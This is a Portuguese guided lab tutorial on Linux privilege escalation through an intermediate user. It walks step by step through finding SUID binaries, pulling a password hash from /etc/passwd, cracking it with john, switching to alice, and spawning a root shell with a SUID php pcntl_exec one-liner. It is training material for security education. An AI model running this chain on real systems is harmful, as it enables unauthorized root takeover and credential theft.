Escalar Privilégios para Root via Usuário Intermediário no Nmap

NmapBeginner
Pratique Agora

Introdução

Neste laboratório, aprenderemos como escalar privilégios para o usuário root quando não podemos escalar diretamente para root. Conseguiremos isso escalando primeiro para outro usuário regular e, em seguida, usando os privilégios desse usuário para escalar para o usuário root. Este usuário intermediário é referido como um usuário "stepping stone" (pedra de toque).

O objetivo deste laboratório é escalar privilégios do usuário www-data para o usuário alice e, em seguida, do usuário alice para o usuário root.

Este é um Lab Guiado, que fornece instruções passo a passo para ajudá-lo a aprender e praticar. Siga as instruções cuidadosamente para completar cada etapa e ganhar experiência prática. Dados históricos mostram que este é um laboratório de nível iniciante com uma taxa de conclusão de 100%. Recebeu uma taxa de avaliações positivas de 100% dos estudantes.

Inicializar o Ambiente do Laboratório

Nesta etapa, inicializaremos o ambiente do laboratório.

  1. Primeiro, abra um terminal e navegue até o diretório /home/labex/project:

    cd /home/labex/project
  2. Execute o seguinte comando para configurar o ambiente para o laboratório:

    ./env_setup.sh

    Este comando irá baixar e executar um script que configura o ambiente necessário para o laboratório. Após executar este comando, você deverá ser alternado para o usuário www-data, simulando um shell inicial obtido através de uma vulnerabilidade web.

Tentar Escalada de Privilégios SUID

Nesta etapa, tentaremos escalar privilégios usando a técnica SUID (Set User ID). Buscaremos arquivos executáveis com o bit SUID definido, que podem ser executados com as permissões do proprietário do arquivo (neste caso, root).

  1. Primeiro, vamos procurar arquivos executáveis SUID que o usuário www-data pode acessar:

    find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txt

    Este comando irá pesquisar em todo o sistema de arquivos por arquivos pertencentes ao usuário root e que tenham o bit SUID definido (modo de permissões 4000).

  2. Após executar o comando, você deverá ver uma lista de arquivos executáveis SUID no arquivo www-data_suid_files.txt. Vamos examinar o conteúdo deste arquivo:

    cat ~/www-data_suid_files.txt

    No entanto, neste caso, não há arquivos adequados para a escalada de privilégios SUID.

Investigar o Diretório Home

Como não conseguimos escalar privilégios usando a técnica SUID, vamos investigar o diretório home em busca de potenciais usuários de "stepping stone" (etapa intermediária).

  1. Primeiro, vamos salvar o conteúdo do diretório /home em um arquivo para análise posterior:

    ls -alh /home > ~/home_dir_contents.txt

    Este comando listará o conteúdo do diretório /home em um formato longo, incluindo tamanhos de arquivos e permissões, e o salvará no arquivo home_dir_contents.txt.

  2. Em seguida, vamos examinar o conteúdo do arquivo home_dir_contents.txt para identificar qualquer potencial "stepping":

    cat ~/home_dir_contents.txt

    Você deverá ver um diretório chamado alice na saída, indicando a existência de um usuário chamado alice no sistema.

Tentar Escalada de Privilégios para o Usuário Alice

Como o usuário www-data não tem acesso ao diretório alice, precisamos encontrar uma maneira de escalar privilégios para o usuário alice primeiro.

  1. Vamos verificar o arquivo /etc/passwd para obter informações sobre o usuário alice:

    cat /etc/passwd | grep alice > ~/alice_info.txt
  2. Verifique o conteúdo do arquivo alice_info.txt para visualizar os detalhes do usuário alice

    cat ~/alice_info.txt

    Saída esperada:

    alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash

    Na saída, você deve ver uma entrada para o usuário alice, incluindo o hash da senha.

  3. Para quebrar o hash da senha, podemos usar a ferramenta john. Abra um novo terminal e execute o seguinte comando:

    john ~/alice_info.txt > cracked_passwords.txt

    Exemplo de saída:

    Created directory: /var/www/.john
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    Isso iniciará o processo de quebra de senha. Depois que a senha for quebrada, você deverá ver a senha no arquivo cracked_passwords.txt.

    cat ~/cracked_passwords.txt

    Exemplo de saída:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    beautiful        (alice)
  4. Neste caso, a senha para o usuário alice é beautiful. Use o comando su para mudar para o usuário alice:

    su - alice

    Digite a senha que quebramos anteriormente (beautiful) quando solicitado.

    beautiful
  5. Após mudar com sucesso para o usuário alice, navegue até o diretório alice e crie um novo arquivo chamado alice.txt:

    cd /home/alice

    Crie um novo arquivo chamado alice.txt:

    touch ~/alice.txt

    Você agora deve ter acesso ao diretório alice e seu conteúdo.

Tentar Escalada de Privilégios SUID como Usuário Alice

Agora que escalamos os privilégios para o usuário alice, vamos tentar a técnica de escalada de privilégios SUID novamente.

  1. Certifique-se de estar no diretório home do usuário alice:

    cd /home/alice

    Execute o seguinte comando para encontrar arquivos com o bit SUID definido:

    find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txt
  2. Verifique o conteúdo do arquivo alice_suid_files.txt para visualizar a lista de arquivos SUID:

    cat alice_suid_files.txt

    Saída esperada:

    ...
    /var/bin/php
    ...

    Desta vez, você deve ver um arquivo executável /var/bin/php na saída. Este arquivo pode ser usado para escalada de privilégios SUID.

  3. Para escalar privilégios para o usuário root, execute o seguinte comando:

    /var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"

    Este comando executará um script PHP que gera um novo shell com privilégios de root.

  4. Você agora deve ter um shell root, indicado pelo prompt # no terminal. Verifique se você tem privilégios de root criando um arquivo no diretório root:

    touch /root/root.txt

    Se o arquivo for criado sem erros de permissão, você escalou com sucesso os privilégios para o usuário root usando a técnica SUID.

Entender a Diferença nas Permissões de Diretório

Você pode estar se perguntando por que o usuário alice conseguiu encontrar o arquivo executável SUID php, enquanto o usuário www-data não conseguiu. A resposta está nas permissões do diretório.

Após o último passo, você ainda deve ter um shell como o usuário root, como o abaixo:

sh-5.1#
  1. Vamos examinar as permissões do diretório /var/bin e salvar a saída em um arquivo:

    ls -lh /var > /root/var_permissions.txt
  2. Verifique o conteúdo do arquivo var_permissions.txt para visualizar as permissões do diretório /var:

    cat /root/var_permissions.txt

    Saída esperada:

    total 0
    ...
    drwxr-x--- 2 alice    alice     17 Apr 15 03:48 bin
    ...

    Na saída, você deve ver que o diretório /var/bin pertence ao usuário e grupo alice. Outros usuários não têm permissões de leitura, escrita ou execução para este diretório.

Isso significa que, quando escalamos para o usuário alice, ganhamos acesso a arquivos e diretórios que eram anteriormente inacessíveis ao usuário www-data. Essa diferença nas permissões nos permitiu encontrar e utilizar o arquivo executável SUID para escalada de privilégios.

Resumo

Neste laboratório, aprendemos como escalar privilégios para o usuário root quando a escalada direta para root não é possível. Conseguimos isso escalando primeiro para o usuário alice, um usuário intermediário, e então usando os privilégios do usuário alice para escalar para o usuário root.

A principal lição deste laboratório é estar sempre atento às diferenças nas permissões entre os usuários, pois essas diferenças podem, às vezes, ser aproveitadas para escalada de privilégios. Embora tenhamos usado um exemplo simples neste laboratório, cenários do mundo real podem ser mais complexos, mas o princípio fundamental permanece o mesmo: explorar as diferenças nas permissões do usuário para alcançar a escalada de privilégios.